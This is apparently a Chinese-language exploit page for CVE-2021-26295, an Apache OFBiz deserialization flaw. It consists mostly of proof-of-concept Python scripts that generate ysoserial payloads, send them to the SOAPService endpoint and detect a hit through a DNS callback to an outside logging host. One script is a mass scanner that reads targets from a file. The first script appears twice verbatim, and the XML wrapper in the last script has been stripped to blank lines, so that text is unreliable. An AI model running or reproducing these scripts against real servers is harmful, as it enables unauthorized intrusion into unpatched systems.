CVE-2021-26295_Apache_OFBiz_RMI反序列化漏洞

# CVE-2021-26295 Apache OFBiz RMI反序列化漏洞

==漏洞影響==

Apache OFBiz < 17.12.06 ==POC==

import requests
import sys
import sys
import subprocess
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print(‘+——————————————‘)
    print(‘+  \033[34mVersion: Apache OFBiz                                            \033[0m’)
    print(‘+  \033[36m使用格式:  python3 poc.py                                            \033[0m’)
    print(‘+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m’)
    print(‘+  \033[36mDnslog      >>> http://xxx.xxx.xxx.xxx                             \033[0m’)
    print(‘+——————————————‘)

def trans(s):
    return “%s” % ”.join(‘%.2x’ % x for x in s)

def POC_1(target_url, Dnslog):
    popen = subprocess.Popen([‘java’, ‘-jar’, ‘ysoserial.jar’, “URLDNS”, Dnslog], stdout=subprocess.PIPE)
    data = popen.stdout.read()
    hex_data = trans(data)
    headers = {
        ‘Content-Type’: ‘text/xml’
    }
    post_data = ”’%s”’ % hex_data
    vuln_url = target_url + “/webtools/control/SOAPService”
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=post_data, headers=headers, verify=False, timeout=5)
        print(“\033[36m[o] 正在请求 {}/webtools/control/SOAPService….. \033[0m”.format(target_url))
        if response.status_code == 200:
            print(“\033[36m[o] 请检查 Dnslog 响应\n \033[0m”)
        else:
            print(“\033[31m[x] 请求失败 \033[0m”)
            sys.exit(0)

    except Exception as e:
        print(“\033[31m[x] 请求失败 \033[0m”)


if __name__ == ‘__main__’:
    title()
    target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
    Dnslog = str(input(“\033[35mDnslog >>> \033[0m”))
    POC_1(target_url, Dnslog)

==漏洞影響==

Apache OFBiz < 17.12.06 ==POC==

import requests
import sys
import sys
import subprocess
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print(‘+——————————————‘)
    print(‘+  \033[34mVersion: Apache OFBiz                                            \033[0m’)
    print(‘+  \033[36m使用格式:  python3 poc.py                                            \033[0m’)
    print(‘+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m’)
    print(‘+  \033[36mDnslog      >>> http://xxx.xxx.xxx.xxx                             \033[0m’)
    print(‘+——————————————‘)

def trans(s):
    return “%s” % ”.join(‘%.2x’ % x for x in s)

def POC_1(target_url, Dnslog):
    popen = subprocess.Popen([‘java’, ‘-jar’, ‘ysoserial.jar’, “URLDNS”, Dnslog], stdout=subprocess.PIPE)
    data = popen.stdout.read()
    hex_data = trans(data)
    headers = {
        ‘Content-Type’: ‘text/xml’
    }
    post_data = ”’%s”’ % hex_data
    vuln_url = target_url + “/webtools/control/SOAPService”
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=post_data, headers=headers, verify=False, timeout=5)
        print(“\033[36m[o] 正在请求 {}/webtools/control/SOAPService….. \033[0m”.format(target_url))
        if response.status_code == 200:
            print(“\033[36m[o] 请检查 Dnslog 响应\n \033[0m”)
        else:
            print(“\033[31m[x] 请求失败 \033[0m”)
            sys.exit(0)

    except Exception as e:
        print(“\033[31m[x] 请求失败 \033[0m”)


if __name__ == ‘__main__’:
    title()
    target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
    Dnslog = str(input(“\033[35mDnslog >>> \033[0m”))
    POC_1(target_url, Dnslog)

==漏洞影響==

Apache OFBiz < 17.12.06 ==POC==

#coding:utf-8
import binascii
import os
import requests
import urllib3
import uuid
urllib3.disable_warnings()
def main():
    id = requests.get(“https://dns.xn--9tr.com/new_gen”).text.split(“.”)[0]
    if(not os.path.exists(“target.txt”)):
        exit(“put url in target.txt! “)
    if(not os.path.exists(“ysoserial.jar”)):
        exit(“where is ysoserial.jar?”)
    with open(“target.txt”)as f:
        urls = f.readlines()
    for url in urls:
        url = url.strip()
        uid = uuid.uuid1().hex
        cmd = “java -jar .\ysoserial.jar URLDNS http://{0}.{1}.y.dns1.tk > tmp”.format(uid,id)
        r = os.popen(cmd)   
        r.close()  
        with open(“tmp”,’rb’) as f:
            payload = binascii.hexlify(f.read())
        data = ”’
         
            
            
            
        
            
                
                    {0}
                
                
                    
                
            
        
            
            
            
            ”’.format(payload.decode())
        headers = {
            “user-agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36″
        }
        url = url+”/webtools/control/SOAPService”
        try:
            requests.post(url,data=data,verify=False,headers=headers,timeout=5)
            requests.post(url,data=data,verify=False,headers=headers,timeout=5)
            requests.post(url,data=data,verify=False,headers=headers,timeout=5)
        except:
            pass
        dnslogresurl = “https://dns.xn--9tr.com/”+id
        if(uid in requests.get(dnslogresurl).text):
            print(“[+] {0} 漏洞存在”.format(url))
        else:
            print(“[-] {0} 漏洞不存在”.format(url))
    print(“[+] 请到 {0} 查看结果”.format(dnslogresurl))

if __name__ == “__main__”:
    main()